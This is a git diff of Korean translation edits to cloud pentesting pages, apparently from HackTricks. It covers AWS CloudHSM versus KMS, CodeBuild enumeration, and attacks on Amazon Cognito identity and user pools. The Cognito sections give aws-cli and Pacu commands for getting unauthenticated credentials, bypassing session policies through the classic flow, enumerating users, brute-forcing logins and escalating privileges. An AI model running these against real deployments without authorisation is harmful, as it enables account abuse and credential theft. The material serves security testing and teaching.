PKI 및 CA 키를 저장해야 하는 경우, 하나 또는 두 개의 CloudHSM이 귀하의 솔루션이 될 수 있습니다. +**CloudHSM**은 안전한 키 저장을 위한 기업급 서비스이며, **기업의 신뢰의 근원으로 사용될 수 있습니다**. PKI에 개인 키를 저장하고 X509 구현에서 인증 기관 키를 저장할 수 있습니다. AES와 같은 대칭 알고리즘에서 사용되는 대칭 키 외에도, **KMS는 대칭 키만 저장하고 물리적으로 보호합니다 (인증 기관으로 작용할 수 없음)**. 따라서 PKI 및 CA 키를 저장해야 하는 경우, 하나 또는 두 개 또는 세 개의 CloudHSM이 귀하의 솔루션이 될 수 있습니다. **CloudHSM은 키 관리 서비스보다 상당히 비쌉니다**. CloudHSM은 하드웨어 장치이므로 CloudHSM 장치를 프로비저닝하기 위한 고정 비용이 있으며, 장치를 운영하는 데 시간당 비용이 발생합니다. 이 비용은 특정 요구 사항을 충족하기 위해 필요한 CloudHSM 장치 수에 의해 곱해집니다.\ -또한, SafeNet ProtectV 소프트웨어 제품군과 같은 타사 소프트웨어 구매 시 교차 고려가 필요하며, 통합 시간과 노력이 필요합니다. 키 관리 서비스는 사용 기반이며, 보유한 키 수와 입력 및 출력 작업에 따라 달라집니다. 키 관리가 많은 AWS 서비스와 원활하게 통합되므로, 통합 비용은 상당히 낮아야 합니다. 비용은 암호화 솔루션에서 두 번째 요소로 고려되어야 합니다. 암호화는 일반적으로 보안 및 규정 준수를 위해 사용됩니다. +또한, SafeNet ProtectV 소프트웨어 제품군과 같은 타사 소프트웨어 구매 시 교차 고려가 필요하며, 통합 시간과 노력이 필요합니다. 키 관리 서비스는 사용량 기반이며, 보유한 키 수와 입력 및 출력 작업에 따라 달라집니다. 키 관리가 많은 AWS 서비스와 원활하게 통합되므로, 통합 비용은 상당히 낮아야 합니다. 비용은 암호화 솔루션에서 두 번째 요소로 고려되어야 합니다. 암호화는 일반적으로 보안 및 준수를 위해 사용됩니다. -**CloudHSM에서는 오직 귀하만 키에 접근할 수 있습니다**. 너무 많은 세부 사항에 들어가지 않고, CloudHSM에서는 귀하가 자신의 키를 관리합니다. **KMS에서는 귀하와 Amazon이 키를 공동 관리합니다**. AWS는 남용에 대한 많은 정책 안전 장치를 가지고 있으며, **어느 솔루션에서도 귀하의 키에 접근할 수 없습니다**. 주요 구분점은 키 소유권 및 관리와 관련된 준수이며, CloudHSM은 귀하가 관리하고 유지하며 오직 귀하만 접근할 수 있는 하드웨어 장치입니다. +**CloudHSM에서는 오직 귀하만 키에 접근할 수 있습니다**. 너무 많은 세부 사항에 들어가지 않고, CloudHSM에서는 귀하가 자신의 키를 관리합니다. **KMS에서는 귀하와 Amazon이 키를 공동 관리합니다**. AWS는 남용에 대한 많은 정책 보호 장치를 가지고 있으며, **어느 솔루션에서도 귀하의 키에 접근할 수 없습니다**. 주요 구분점은 키 소유권 및 관리와 관련된 준수이며, CloudHSM은 귀하가 관리하고 유지하며 오직 귀하만 접근할 수 있는 하드웨어 장치입니다. ### CloudHSM 제안 1. 항상 **HA 설정**으로 CloudHSM을 배포하고, **별도의 가용성 영역**에 최소 두 개의 장치를 배포하며, 가능하다면 AWS의 다른 지역에 세 번째 장치를 배포하십시오. -2. **CloudHSM**을 **초기화**할 때 주의하십시오. 이 작업은 **키를 파괴합니다**, 따라서 키의 다른 복사본을 보유하거나 이 키가 데이터를 복호화하는 데 필요하지 않다는 것을 확실히 하십시오. +2. **CloudHSM**을 **초기화**할 때 주의하십시오. 이 작업은 **키를 파괴합니다**, 따라서 키의 다른 복사본이 있거나 이 키가 데이터를 복호화하는 데 필요하지 않다는 것을 확실히 하십시오. 3. CloudHSM은 **특정 버전의 펌웨어**와 소프트웨어만 **지원합니다**. 업데이트를 수행하기 전에 펌웨어 및 소프트웨어가 AWS에서 지원되는지 확인하십시오. 업그레이드 가이드가 불명확한 경우 항상 AWS 지원에 문의하여 확인할 수 있습니다. -4. **네트워크 구성은 절대 변경해서는 안 됩니다.** AWS 데이터 센터에 있으며 AWS가 기본 하드웨어를 모니터링하고 있습니다. 이는 하드웨어가 실패할 경우, 그들이 이를 교체해 줄 것이라는 의미입니다. 그러나 그들이 실패했음을 알아야만 교체할 수 있습니다. -5. **SysLog 포워드**는 제거하거나 변경해서는 안 됩니다. 항상 **추가**하여 로그를 자신의 수집 도구로 직접 전송할 수 있습니다. +4. **네트워크 구성은 절대 변경해서는 안 됩니다.** AWS 데이터 센터에 있으며 AWS가 기본 하드웨어를 모니터링하고 있습니다. 이는 하드웨어가 고장 나면 그들이 귀하를 위해 교체해 줄 수 있지만, 그들이 고장이 났다는 것을 알아야만 가능합니다. +5. **SysLog 포워드**는 제거하거나 변경해서는 안 됩니다. 항상 **추가** SysLog 포워더를 추가하여 로그를 귀하의 수집 도구로 직접 보낼 수 있습니다. 6. **SNMP** 구성은 네트워크 및 SysLog 폴더와 동일한 기본 제한이 있습니다. 이는 **변경하거나 제거해서는 안 됩니다**. **추가** SNMP 구성은 괜찮지만, 이미 장치에 있는 구성을 변경하지 않도록 하십시오. -7. AWS의 또 다른 흥미로운 모범 사례는 **NTP 구성을 변경하지 않는 것입니다**. 변경 시 어떤 일이 발생할지 명확하지 않으므로, 솔루션의 나머지 부분에서 동일한 NTP 구성을 사용하지 않으면 두 개의 시간 소스가 있을 수 있습니다. 이를 염두에 두고 CloudHSM이 기존 NTP 소스를 유지해야 한다는 것을 아십시오. +7. AWS의 또 다른 흥미로운 모범 사례는 **NTP 구성을 변경하지 않는 것입니다**. 변경할 경우 어떤 일이 발생할지 명확하지 않으므로, 솔루션의 나머지 부분에서 동일한 NTP 구성을 사용하지 않으면 두 개의 시간 소스가 있을 수 있습니다. 이를 염두에 두고 CloudHSM이 기존 NTP 소스를 유지해야 한다는 것을 아십시오. -CloudHSM의 초기 출시 비용은 귀하의 사용을 위해 전용 하드웨어 장치를 할당하는 데 $5,000이며, CloudHSM을 운영하는 데 현재 시간당 $1.88의 비용이 발생하며, 월 약 $1,373입니다. +CloudHSM의 초기 출시 비용은 귀하의 사용을 위해 전용 하드웨어 장치를 할당하는 데 $5,000이며, 그 후 CloudHSM을 운영하는 데 시간당 비용이 발생하며 현재 운영 시간당 $1.88 또는 월 약 $1,373입니다. -CloudHSM을 사용하는 가장 일반적인 이유는 규제상의 이유로 충족해야 하는 준수 기준입니다. **KMS는 비대칭 키에 대한 데이터 지원을 제공하지 않습니다. CloudHSM은 비대칭 키를 안전하게 저장할 수 있습니다**. +CloudHSM을 사용하는 가장 일반적인 이유는 규제상의 이유로 충족해야 하는 준수 기준입니다. **KMS는 비대칭 키에 대한 데이터 지원을 제공하지 않습니다. CloudHSM은 비대칭 키를 안전하게 저장할 수 있습니다.** **공개 키는 프로비저닝 중 HSM 장치에 설치됩니다**. 따라서 SSH를 통해 CloudHSM 인스턴스에 접근할 수 있습니다. ### 하드웨어 보안 모듈이란 -하드웨어 보안 모듈(HSM)은 암호화 키를 생성, 저장 및 관리하고 민감한 데이터를 보호하는 데 사용되는 전용 암호화 장치입니다. 이는 암호화 기능을 시스템의 나머지 부분과 물리적 및 전자적으로 분리하여 높은 수준의 보안을 제공하도록 설계되었습니다. +하드웨어 보안 모듈(HSM)은 암호화 키를 생성, 저장 및 관리하고 민감한 데이터를 보호하는 데 사용되는 전용 암호화 장치입니다. 이는 암호화 기능을 시스템의 나머지 부분과 물리적으로 및 전자적으로 분리하여 높은 수준의 보안을 제공하도록 설계되었습니다. HSM의 작동 방식은 특정 모델 및 제조업체에 따라 다를 수 있지만, 일반적으로 다음 단계가 발생합니다: 1. **키 생성**: HSM은 안전한 난수 생성기를 사용하여 무작위 암호화 키를 생성합니다. -2. **키 저장**: 키는 **HSM 내에서 안전하게 저장되며, 권한이 있는 사용자나 프로세스만 접근할 수 있습니다**. -3. **키 관리**: HSM은 키 회전, 백업 및 폐기와 같은 다양한 키 관리 기능을 제공합니다. +2. **키 저장**: 키는 **HSM 내에서 안전하게 저장되며, 승인된 사용자 또는 프로세스만 접근할 수 있습니다**. +3. **키 관리**: HSM은 키 회전, 백업 및 폐기를 포함한 다양한 키 관리 기능을 제공합니다. 4. **암호화 작업**: HSM은 암호화, 복호화, 디지털 서명 및 키 교환을 포함한 다양한 암호화 작업을 수행합니다. 이러한 작업은 **HSM의 안전한 환경 내에서 수행되며**, 무단 접근 및 변조로부터 보호됩니다. 5. **감사 로그**: HSM은 모든 암호화 작업 및 접근 시도를 기록하며, 이는 준수 및 보안 감사 목적으로 사용될 수 있습니다. HSM은 안전한 온라인 거래, 디지털 인증서, 안전한 통신 및 데이터 암호화 등 다양한 응용 프로그램에 사용될 수 있습니다. 이들은 금융, 의료 및 정부와 같이 높은 수준의 보안이 요구되는 산업에서 자주 사용됩니다. -전반적으로 HSM이 제공하는 높은 수준의 보안은 **원시 키를 추출하기 매우 어렵게 만들며, 이를 시도하는 것은 종종 보안 위반으로 간주됩니다**. 그러나 **특정 시나리오**에서는 **원시 키가 특정 목적을 위해 권한이 있는 직원에 의해 추출될 수 있습니다**, 예를 들어 키 복구 절차의 경우. +전반적으로 HSM이 제공하는 높은 수준의 보안은 **원시 키를 추출하기 매우 어렵게 만들며, 이를 시도하는 것은 종종 보안 위반으로 간주됩니다**. 그러나 **특정 시나리오**에서는 **원시 키가 특정 목적을 위해 승인된 직원에 의해 추출될 수 있습니다**, 예를 들어 키 복구 절차의 경우입니다. ### 열거 ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 34e4f6b6a..59e8c2cb9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -12,7 +12,7 @@ AWS **CodeBuild**는 **완전 관리형 지속적 통합 서비스**로 인식 AWS CodeBuild는 다른 AWS 서비스와 원활하게 통합되어 CI/CD(지속적 통합/지속적 배포) 파이프라인의 효율성과 신뢰성을 향상시킵니다. -### **Github/Gitlab/Bitbucket Credentials** +### **Github/Gitlab/Bitbucket 자격 증명** #### **기본 소스 자격 증명** @@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn ``` ### Privesc -다음 페이지에서 **코드빌드 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다: +다음 페이지에서 **codebuild 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 96a62f757..633a737d5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -9,7 +9,7 @@ Amazon Cognito는 웹 및 모바일 애플리케이션에서 **인증, 권한 Amazon Cognito의 중심에는 두 가지 주요 구성 요소가 있습니다: 1. **사용자 풀**: 이는 앱 사용자를 위한 디렉토리로, **가입 및 로그인 기능**을 제공합니다. -2. **아이덴티티 풀**: 이 풀은 **사용자가 다양한 AWS 서비스에 접근할 수 있도록 권한을 부여하는 데** 중요한 역할을 합니다. 이들은 로그인 또는 가입 과정에 직접 관여하지 않지만, 인증 후 리소스 접근에 필수적입니다. +2. **아이덴티티 풀**: 이 풀은 **사용자가 다양한 AWS 서비스에 접근할 수 있도록 권한을 부여하는 데** 중요합니다. 이들은 로그인 또는 가입 과정에 직접 관여하지 않지만, 인증 후 리소스 접근에 필수적입니다. ### **사용자 풀** @@ -77,7 +77,7 @@ aws cognito-idp describe-risk-configuration --user-pool-id ### User Pools - 인증되지 않은 열거 -Cognito 내에서 **유효한 사용자 이름**을 **모른다 하더라도**, **유효한** **사용자 이름**을 **열거**하거나, **비밀번호**를 **브루트 포스**하거나, 심지어 **새 사용자를 등록**할 수 있을지도 모릅니다 **앱 클라이언트 ID**만 알고 있다면 (이는 보통 소스 코드에서 찾을 수 있습니다). [**여기서 확인하세요**](cognito-user-pools.md#registration)**.** +Cognito 내에서 **유효한 사용자 이름**을 **모르더라도**, **유효한** **사용자 이름**을 **열거**하거나, **비밀번호**를 **브루트 포스**하거나, 심지어 **새 사용자를 등록**할 수 있을지도 모릅니다. 단지 **App 클라이언트 ID**를 알고 있다면 (이는 보통 소스 코드에서 찾을 수 있습니다). [**여기서 확인하세요**](cognito-user-pools.md#registration)**.** ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 9434e32e5..99f1a2d7d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,13 +4,13 @@ ## Basic Information -Identity pools는 사용자가 **임시 자격 증명**을 획득할 수 있도록 하여 중요한 역할을 합니다. 이러한 자격 증명은 Amazon S3 및 DynamoDB를 포함한 다양한 AWS 서비스에 접근하는 데 필수적입니다. Identity pools의 주목할 만한 기능은 익명 게스트 사용자와 사용자 인증을 위한 다양한 신원 제공자를 지원한다는 것입니다. 지원되는 신원 제공자는 다음과 같습니다: +아이덴티티 풀은 사용자가 **임시 자격 증명**을 획득할 수 있도록 하여 중요한 역할을 합니다. 이러한 자격 증명은 Amazon S3 및 DynamoDB를 포함한 다양한 AWS 서비스에 접근하는 데 필수적입니다. 아이덴티티 풀의 주목할 만한 기능은 익명 게스트 사용자와 사용자 인증을 위한 다양한 아이덴티티 제공자를 지원한다는 점입니다. 지원되는 아이덴티티 제공자는 다음과 같습니다: - Amazon Cognito 사용자 풀 - Facebook, Google, Amazon으로 로그인, Apple로 로그인과 같은 소셜 로그인 옵션 -- OpenID Connect (OIDC) 준수 제공자 -- SAML (Security Assertion Markup Language) 신원 제공자 -- 개발자 인증 신원 +- OpenID Connect (OIDC) 호환 제공자 +- SAML (Security Assertion Markup Language) 아이덴티티 제공자 +- 개발자 인증 아이덴티티 ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -35,21 +35,21 @@ print(response) ``` ### Cognito Sync -Identity Pool 세션을 생성하려면 먼저 **Identity ID를 생성해야** 합니다. 이 Identity ID는 **해당 사용자의 세션 식별자**입니다. 이러한 식별자는 최대 20개의 데이터 세트를 가질 수 있으며, 최대 1MB의 키-값 쌍을 저장할 수 있습니다. +Identity Pool 세션을 생성하려면 먼저 **Identity ID를 생성해야** 합니다. 이 Identity ID는 **해당 사용자의 세션 식별자**입니다. 이러한 식별자는 최대 20개의 데이터 세트를 가질 수 있으며, 각 데이터 세트는 최대 1MB의 키-값 쌍을 저장할 수 있습니다. 이는 **사용자의 정보를 유지하는 데 유용합니다** (항상 동일한 Identity ID를 사용하는 사용자). -게다가, 서비스 **cognito-sync**는 **이 정보를 관리하고 동기화할 수 있는 서비스**입니다 (데이터 세트에서, 스트림 및 SNS 메시지로 정보를 전송하는 등). +또한, 서비스 **cognito-sync**는 **이 정보를 관리하고 동기화하는** 서비스를 제공합니다 (데이터 세트에서 정보를 전송하고 스트림 및 SNS 메시지로 전송하는 등). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 취약점 탐지 프레임워크는 이제 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함하여 계정의 모든 Cognito 자산을 자동으로 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 Identity Pool 자격 증명, ID 토큰에서 가정 가능한 역할 등을 기반으로 한 권한 상승을 자동화합니다. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 취약점 탐지 프레임워크로, 이제 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈이 포함되어 있어 계정의 모든 Cognito 자산을 자동으로 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성을 기반으로 한 권한 상승을 자동화합니다. 사용 가능한 Identity Pool 자격 증명, ID 토큰에서 가정 가능한 역할 등을 포함합니다. 모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하십시오. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하십시오. #### Usage -주어진 Identity Pool 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 샘플 cognito\_\_attack 사용법: +주어진 Identity Pool 및 사용자 풀 클라이언트에 대해 사용자 생성을 시도하고 모든 권한 상승 벡터를 시도하는 샘플 cognito\_\_attack 사용법: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients @@ -59,7 +59,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 원치 않는 계정 생성 및 아이덴티티 풀 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 원치 않는 계정 생성 및 아이덴티티 풀 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다. #### 설치 ```bash @@ -69,13 +69,13 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +자세한 정보는 https://github.com/padok-team/cognito-scanner 를 확인하세요. -## Accessing IAM Roles +## IAM 역할 접근 -### Unauthenticated +### 인증되지 않은 사용자 -공격자가 Cognito 앱에서 인증되지 않은 사용자로 **AWS 자격 증명**을 얻기 위해 알아야 할 유일한 것은 **Identity Pool ID**이며, 이 **ID는 웹/모바일** **애플리케이션**에 하드코딩되어 있어야 사용될 수 있습니다. ID는 다음과 같이 보입니다: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (무작위 대입 공격이 불가능합니다). +인증되지 않은 사용자로서 Cognito 앱에서 **AWS 자격 증명**을 얻기 위해 공격자가 알아야 할 유일한 것은 **Identity Pool ID**이며, 이 **ID는 웹/모바일** **애플리케이션**에 하드코딩되어 있어야 사용될 수 있습니다. ID는 다음과 같은 형식입니다: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (무차별 대입 공격이 불가능합니다). > [!TIP] > 기본적으로 **IAM Cognito 인증되지 않은 역할은** `Cognito_Unauth_Role`로 호출됩니다. @@ -106,7 +106,7 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` -또는 다음 **aws cli 명령어**를 사용할 수 있습니다: +다음 **aws cli 명령어**를 사용할 수도 있습니다: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign @@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### 향상된 인증 흐름 vs 기본 인증 흐름 -이전 섹션은 **기본 향상된 인증 흐름**을 따랐습니다. 이 흐름은 생성된 IAM 역할 세션에 **제한적인** [**세션 정책**](../../aws-basic-information/#session-policies)을 설정합니다. 이 정책은 세션이 [**이 목록의 서비스만 사용하도록 허용합니다**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (역할이 다른 서비스에 접근할 수 있었더라도). +이전 섹션은 **기본 향상된 인증 흐름**을 따랐습니다. 이 흐름은 생성된 IAM 역할 세션에 **제한적인** [**세션 정책**](../../aws-basic-information/#session-policies)을 설정합니다. 이 정책은 세션이 [**이 목록의 서비스만 사용할 수 있도록**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) 허용합니다 (역할이 다른 서비스에 접근할 수 있었더라도). -그러나 **Identity pool에 "기본 (클래식) 흐름"이 활성화되어 있으면**, 사용자는 해당 흐름을 사용하여 **제한적인 세션 정책이 없는** 세션을 얻을 수 있습니다. +그러나 **Identity pool에 "기본 (클래식) 흐름"이 활성화되어 있다면**, 사용자는 해당 흐름을 사용하여 **제한적인 세션 정책이 없는** 세션을 얻을 수 있습니다. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -135,21 +135,21 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -IAM 자격 증명이 있는 경우 [어떤 접근 권한이 있는지 확인하고](../../#whoami) [권한 상승을 시도하세요](../../aws-privilege-escalation/). +IAM 자격 증명이 설정되어 있는 경우, [어떤 접근 권한이 있는지 확인하고](../../#whoami) [권한 상승을 시도하세요](../../aws-privilege-escalation/). ### 인증된 사용자 > [!NOTE] > **인증된 사용자**는 아마도 **다른 권한**이 부여될 것이므로, **앱 내에서 가입할 수 있다면**, 그렇게 시도하여 새로운 자격 증명을 얻으세요. -**인증된 사용자**가 **Identity Pool**에 접근할 수 있는 **역할**이 있을 수도 있습니다. +**Identity Pool**에 접근하는 **인증된 사용자**를 위한 **역할**도 있을 수 있습니다. -이를 위해 **아이덴티티 제공자**에 대한 접근 권한이 필요할 수 있습니다. 만약 그것이 **Cognito 사용자 풀**이라면, 기본 동작을 악용하여 **직접 새 사용자를 생성할 수 있을지도 모릅니다**. +이를 위해 **아이덴티티 제공자**에 접근해야 할 수도 있습니다. 만약 그것이 **Cognito User Pool**이라면, 기본 동작을 악용하여 **직접 새로운 사용자를 생성할 수 있을지도 모릅니다**. > [!TIP] > **IAM Cognito 인증 역할은 기본적으로** `Cognito_Auth_Role`로 호출됩니다. -어쨌든, **다음 예제**는 Identity Pool에 접근하기 위해 사용되는 **Cognito 사용자 풀**에 이미 로그인했다고 가정합니다 (다른 유형의 아이덴티티 제공자도 구성될 수 있다는 점을 잊지 마세요). +어쨌든, **다음 예제**는 **Identity Pool**에 접근하기 위해 사용되는 **Cognito User Pool**에 이미 로그인했다고 가정합니다 (다른 유형의 아이덴티티 제공자도 구성될 수 있다는 점을 잊지 마세요).
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -161,8 +161,8 @@ aws cognito-identity get-credentials-for-identity \
 --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# IdToken에서 사용자가 User Pool 그룹으로 접근할 수 있는 역할을 찾을 수 있습니다
-# --custom-role-arn을 사용하여 특정 역할에 대한 자격 증명을 가져옵니다
+# IdToken에서 사용자가 User Pool 그룹으로 인해 접근할 수 있는 역할을 찾을 수 있습니다
+# 특정 역할에 대한 자격 증명을 얻으려면 --custom-role-arn을 사용하세요
 aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
     --custom-role-arn <role_arn> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> 사용자가 로그인하는 아이덴티티 제공자에 따라 **다른 IAM 역할을 구성할 수 있습니다** 또는 **사용자**에 따라 (클레임을 사용하여) 다를 수 있습니다. 따라서 동일한 또는 다른 제공자를 통해 다양한 사용자에 대한 접근 권한이 있는 경우, **모든 사용자의 IAM 역할에 로그인하고 접근하는 것이 가치가 있을 수 있습니다**. +> 사용자가 로그인하는 아이덴티티 제공자에 따라 **다른 IAM 역할을 구성할 수 있으며**, 심지어 **사용자**에 따라 (클레임을 사용하여) 다를 수 있습니다. 따라서 동일한 또는 다른 제공자를 통해 여러 사용자에 접근할 수 있는 경우, **모든 사용자의 IAM 역할에 로그인하고 접근하는 것이 가치가 있을 수 있습니다**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index cba19ab32..69ac01e6d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,30 +2,30 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -사용자 풀은 Amazon Cognito의 사용자 디렉토리입니다. 사용자 풀을 사용하면 사용자가 Amazon Cognito를 통해 **웹 또는 모바일 앱에 로그인**하거나 **제3자** 신원 제공자(IdP)를 통해 **연합**할 수 있습니다. 사용자가 직접 로그인하든 제3자를 통해 로그인하든, 사용자 풀의 모든 구성원은 SDK를 통해 액세스할 수 있는 디렉토리 프로필을 가지고 있습니다. +사용자 풀은 Amazon Cognito의 사용자 디렉토리입니다. 사용자 풀을 사용하면 사용자가 Amazon Cognito를 통해 **웹 또는 모바일 앱에 로그인**하거나 **제3자** 신원 공급자(IdP)를 통해 **연합**할 수 있습니다. 사용자가 직접 로그인하든 제3자를 통해 로그인하든, 사용자 풀의 모든 구성원은 SDK를 통해 액세스할 수 있는 디렉토리 프로필을 가지고 있습니다. 사용자 풀은 다음을 제공합니다: - 가입 및 로그인 서비스. - 사용자를 로그인시키기 위한 내장형, 사용자 정의 가능한 웹 UI. -- Facebook, Google, Amazon으로 로그인, Apple로 로그인 및 사용자 풀의 SAML 및 OIDC 신원 제공자를 통한 소셜 로그인. +- Facebook, Google, Amazon으로 로그인, Apple로 로그인 및 사용자 풀의 SAML 및 OIDC 신원 공급자를 통한 소셜 로그인. - 사용자 디렉토리 관리 및 사용자 프로필. - 다단계 인증(MFA), 손상된 자격 증명 확인, 계정 탈취 방지, 전화 및 이메일 확인과 같은 보안 기능. -- AWS Lambda 트리거를 통한 사용자 정의 워크플로우 및 사용자 마이그레이션. +- AWS Lambda 트리거를 통한 사용자 정의 워크플로 및 사용자 마이그레이션. -**소스 코드**는 일반적으로 **사용자 풀 ID**와 **클라이언트 애플리케이션 ID**(때때로 **애플리케이션 비밀**?)를 포함하고 있으며, 이는 **사용자가 Cognito 사용자 풀에 로그인**하는 데 필요합니다. +**소스 코드**는 일반적으로 **사용자 풀 ID**와 **클라이언트 애플리케이션 ID**(때때로 **애플리케이션 비밀**?)를 포함하며, 이는 **사용자가 Cognito 사용자 풀에 로그인**하는 데 필요합니다. -### Potential attacks +### 잠재적 공격 - **등록**: 기본적으로 사용자는 자신을 등록할 수 있으므로, 자신을 위한 사용자를 생성할 수 있습니다. - **사용자 열거**: 등록 기능을 사용하여 이미 존재하는 사용자 이름을 찾을 수 있습니다. 이 정보는 무차별 대입 공격에 유용할 수 있습니다. - **로그인 무차별 대입**: [**인증**](cognito-user-pools.md#authentication) 섹션에는 사용자가 **로그인**하기 위해 사용할 수 있는 모든 **방법**이 나와 있으며, 이를 통해 **유효한 자격 증명**을 찾기 위해 무차별 대입을 시도할 수 있습니다. -### Tools for pentesting +### 펜테스팅 도구 -- [Pacu](https://github.com/RhinoSecurityLabs/pacu)는 이제 `cognito__enum` 및 `cognito__attack` 모듈을 포함하여 계정의 모든 Cognito 자산을 열거하고 약한 구성, 액세스 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰의 수용 가능한 역할에 기반한 권한 상승을 자동화합니다.\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu)는 이제 `cognito__enum` 및 `cognito__attack` 모듈을 포함하여 계정의 모든 Cognito 자산을 열거하고 약한 구성, 액세스 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 신원 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화합니다.\ 모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하십시오. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하십시오. ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 원치 않는 계정 생성 및 계정 오라클을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다. 자세한 내용은 [이 링크](https://github.com/padok-team/cognito-scanner)를 확인하세요. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 원치 않는 계정 생성 및 계정 오라클을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다. 더 많은 정보는 [이 링크](https://github.com/padok-team/cognito-scanner)를 확인하세요. ```bash # Install pip install cognito-scanner @@ -47,9 +47,9 @@ cognito-scanner --help ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` -## Registration +## 등록 -User Pools는 **기본적으로** **새 사용자를 등록**할 수 있도록 허용합니다. +User Pools는 **기본적으로** **새 사용자를 등록**할 수 있습니다. ```bash aws cognito-idp sign-up --client-id \ --username --password \ @@ -57,11 +57,11 @@ aws cognito-idp sign-up --client-id \ ``` #### 누구나 등록할 수 있는 경우 